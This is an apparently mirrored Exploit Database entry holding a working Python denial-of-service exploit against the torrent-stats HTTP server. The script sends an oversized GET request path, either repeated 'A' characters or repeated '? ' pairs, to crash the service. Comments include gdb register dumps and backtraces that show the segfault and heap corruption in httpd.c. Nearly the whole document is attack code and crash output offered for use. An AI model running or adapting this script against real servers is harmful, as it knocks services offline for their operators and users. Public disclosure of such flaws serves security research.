torrent-stats – ‘httpd.c’ Denial of Service

Exploit Database
106 阅读

作者： otr

日期： 2012-02-03
类别：
- dos
平台：
- linux
来源：https://www.exploit-db.com/exploits/18457/

#!/usr/bin/python

import socket, urllib, sys

host = 'localhost'

port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

s.settimeout(8)

print 'Sending GET request'

# size = sys.argv[1]

# Crash at A * 16378

size = 16379

# DOS #1: gdb trace for buffer1

#Program received signal SIGSEGV, Segmentation fault.

#--------------------------------------------------------------------------[regs]

#EAX: 0x00000000EBX: 0x08051258ECX: 0x00000000EDX: 0x20202020o d I t s Z a P c

#ESI: 0x080537BCEDI: 0x080537B8EBP: 0xBFFFF2E8ESP: 0xBFFFF2B0EIP: 0x0804AF72

#CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007B

#--------------------------------------------------------------------------[code]

#=> 0x804af72 <httpd_content_handler+306>: movb $0x0,(%eax)

# 0x804af75 <httpd_content_handler+309>: mov0x20(%ebx),%edx

# 0x804af78 <httpd_content_handler+312>: add$0x1,%eax

# 0x804af7b <httpd_content_handler+315>: mov%eax,(%edx)

# 0x804af7d <httpd_content_handler+317>: mov-0x1c(%ebp),%eax

# 0x804af80 <httpd_content_handler+320>: movzbl 0x1(%eax),%edx

# 0x804af84 <httpd_content_handler+324>: test %dl,%dl

# 0x804af86 <httpd_content_handler+326>: je 0x804b12e <httpd_content_handler+750>

#--------------------------------------------------------------------------------

#parse_args (fd=0x9, privdata=0x8051258) at httpd.c:106

#106 *tmp++ = '\0';

buffer1 = "/" + "A" * int(size)

# DOS #2 : gdb trace for the buffer2

# *** glibc detected *** /root/torrent-stats/torrent-stats: munmap_chunk(): invalid pointer: 0x080537b8 ***

# *** glibc detected *** /root/torrent-stats/torrent-stats: malloc(): memory corruption: 0x080512c8 ***

#gdb$ backtrace

#00xb7fe2430 in __kernel_vsyscall ()

#10xb7e9b651 in raise () from /lib/tls/i686/cmov/libc.so.6

#20xb7e9ea82 in abort () from /lib/tls/i686/cmov/libc.so.6

#30xb7ed249d in ?? () from /lib/tls/i686/cmov/libc.so.6

#40xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6

#50xb7edf395 in ?? () from /lib/tls/i686/cmov/libc.so.6

#60xb7ee0f9c in malloc () from /lib/tls/i686/cmov/libc.so.6

#70xb7ed2437 in ?? () from /lib/tls/i686/cmov/libc.so.6

#80xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6

#90xb7edd80e in ?? () from /lib/tls/i686/cmov/libc.so.6

#10 0x0804ad26 in destroy_httpd_con (con=0xb7fc6ff4) at httpd.c:43

#11 0x0804b0df in httpd_content_handler (fd=0x9, privdata=0x8051258) at httpd.c:193

#12 0x0804a7a0 in event_loop () at event.c:303

#13 0x0804d237 in main (argc=0x2, argv=0xbffff474) at torrent-stats.c:124

buffer2 = "/" + "? " * int(size) + "?"

buffer = buffer2

s.send('GET ' + buffer + ' HTTP/1.1\r\nHost: ' + host + '\r\n\r\n')

print s.recv(8192) + s.recv(8192)